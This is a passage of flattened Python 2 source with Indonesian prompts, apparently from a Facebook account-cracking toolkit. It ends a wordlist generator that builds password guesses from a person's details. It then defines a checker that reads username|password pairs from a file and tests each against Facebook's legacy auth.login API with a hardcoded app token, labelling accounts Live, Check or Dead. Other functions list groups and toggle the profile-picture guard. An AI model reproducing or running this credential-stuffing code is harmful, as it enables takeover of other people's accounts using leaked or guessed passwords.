file.write('%s%s\n%s%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s\n%s%s' % (a, c, a, b, b, a, b, c, c, a, c, b, a, a, b, b, c, c, a, d, b, d, c, d, d, d, d, a, d, b, d, c, a, e, a, f, a, g, a, h, b, e, b, f, b, g, b, h, c, e, c, f, c, g, c, h, d, e, d, f, d, g, d, h, e, a, f, a, g, a, h, a, e, b, f, b, g, b, h, b, e, c, f, c, g, c, h, c, e, d, f, d, g, d, h, d, d, d, a, f, g, a, g, h, f, g, f, h, f, f, g, f, g, h, g, g, h, f, h, g, h, h, h, g, f, a, g, h, b, f, g, b, g, h, c, f, g, c, g, h, d, f, g, d, g, h, a, i, a, j, a, k, i, e, i, j, i, k, b, i, b, j, b, k, c, i, c, j, c, k, e, k, j, a, j, b, j, c, j, d, j, j, k, a, k, b, k, c, k, d, k, k, i, l, i, m, i, n, j, l, j, m, j, n, j, k)) wg = 0 while wg < 100: wg = wg + 1 file.write(a + str(wg) + '\n') en = 0 while en < 100: en = en + 1 file.write(i + str(en) + '\n') word = 0 while word < 100: word = word + 1 file.write(d + str(word) + '\n') gen = 0 while gen < 100: gen = gen + 1 file.write(j + str(gen) + '\n') file.close() time.sleep(1.5) print '\n\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97m %s.txt' % a raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except IOError as e: print '\x1b[1;91m[!] Gagal membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def check_akun(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[?] \x1b[1;92mIsi File\x1b[1;91m : \x1b[1;97musername|password' print 40 * '\x1b[1;97m\xe2\x95\x90' live = [] cek = [] die = [] try: file = raw_input('\x1b[1;91m[+] \x1b[1;92mFile \x1b[1;91m:\x1b[1;97m ') list = open(file, 'r').readlines() except IOError: print '\x1b[1;91m[!] File tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() pemisah = raw_input('\x1b[1;91m[+] \x1b[1;92mPemisah \x1b[1;91m:\x1b[1;97m ') jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' for meki in list: username, password = meki.strip().split(str(pemisah)) url = 'https://b-api.facebook.com/method/auth.login?access_token=237759909591655%25257C0f140aabedfb65ac27a739ed1a2263b1&format=json&sdk_version=2&email=' + username + '&locale=en_US&password=' + password + '&sdk=ios&generate_session_cookies=1&sig=3f555f99fb61fcd7aa0c44f58f522ef6' data = requests.get(url) mpsh = json.loads(data.text) if 'access_token' in mpsh: live.append(password) print '\x1b[1;97m[\x1b[1;92mLive\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password elif 'www.facebook.com' in mpsh['error_msg']: cek.append(password) print '\x1b[1;97m[\x1b[1;93mCheck\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password else: die.append(password) print '\x1b[1;97m[\x1b[1;91mMati\x1b[1;97m] \x1b[1;97m' + username + ' | ' + password print '\n\x1b[1;91m[+] \x1b[1;97mTotal\x1b[1;91m : \x1b[1;97mLive=\x1b[1;92m' + str(len(live)) + ' \x1b[1;97mCheck=\x1b[1;93m' + str(len(cek)) + ' \x1b[1;97mDie=\x1b[1;91m' + str(len(die)) raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def grupsaya(): os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() else: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' jalan('\x1b[1;91m[\xe2\x9c\xba] \x1b[1;92mTunggu sebentar \x1b[1;97m...') print 40 * '\x1b[1;97m\xe2\x95\x90' try: uh = requests.get('https://graph.facebook.com/me/groups?access_token=' + toket) gud = json.loads(uh.text) for p in gud['data']: nama = p['name'] id = p['id'] f = open('grupid.txt', 'w') listgrup.append(id) f.write(id + '\n') print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mNama \x1b[1;91m:\x1b[1;97m ' + str(nama) print '\x1b[1;91m[+] \x1b[1;92mID \x1b[1;91m:\x1b[1;97m ' + str(id) print 40 * '\x1b[1;97m=' print '\n\r\x1b[1;91m[+] \x1b[1;97mJumlah Grup \x1b[1;96m%s' % len(listgrup) print '\x1b[1;91m[+] \x1b[1;97mTersimpan \x1b[1;91m: \x1b[1;97mgrupid.txt' f.close() raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except (KeyboardInterrupt, EOFError): print '\x1b[1;91m[!] Terhenti' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except KeyError: os.remove('grupid.txt') print '\x1b[1;91m[!] Grup tidak ditemukan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() except requests.exceptions.ConnectionError: print '\x1b[1;91m[\xe2\x9c\x96] Tidak ada koneksi' keluar() except IOError: print '\x1b[1;91m[!] Kesalahan saat membuat file' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() def guard(): global toket os.system('reset') try: toket = open('login.txt', 'r').read() except IOError: print '\x1b[1;91m[!] Token tidak ditemukan' os.system('rm -rf login.txt') time.sleep(1) login() os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;37;40m1. Aktifkan' print '\x1b[1;37;40m2. NonAktifkan' print '\x1b[1;31;40m0. Kembali' print g = raw_input('\x1b[1;91m-\xe2\x96\xba\x1b[1;97m ') if g == '1': aktif = 'true' gaz(toket, aktif) else: if g == '2': non = 'false' gaz(toket, non) else: if g == '0': lain() else: if g == '': keluar() else: keluar() def get_userid(toket): url = 'https://graph.facebook.com/me?access_token=%s' % toket res = requests.get(url) uid = json.loads(res.text) return uid['id'] def gaz(toket, enable=True): id = get_userid(toket) data = 'variables={"0":{"is_shielded": %s,"session_id":"9b78191c-84fd-4ab6-b0aa-19b39f04a6bc","actor_id":"%s","client_mutation_id":"b0316dd6-3fd6-4beb-aed4-bb29c5dc64b0"}}&method=post&doc_id=1477043292367183&query_name=IsShieldedSetMutation&strip_defaults=true&strip_nulls=true&locale=en_US&client_country_code=US&fb_api_req_friendly_name=IsShieldedSetMutation&fb_api_caller_class=IsShieldedSetMutation' % (enable, str(id)) headers = {'Content-Type': 'application/x-www-form-urlencoded', 'Authorization': 'OAuth %s' % toket} url = 'https://graph.facebook.com/graphql' res = requests.post(url, data=data, headers=headers) print res.text if '"is_shielded":true' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;92mDiaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: if '"is_shielded":false' in res.text: os.system('reset') print logo print 40 * '\x1b[1;97m\xe2\x95\x90' print '\x1b[1;91m[\x1b[1;96m\xe2\x9c\x93\x1b[1;91m] \x1b[1;91mDinonaktifkan' raw_input('\n\x1b[1;91m[ \x1b[1;97mKembali \x1b[1;91m]') lain() else: print '\x1b[1;91m[!] Error' keluar() if __name__ == '__main__': login()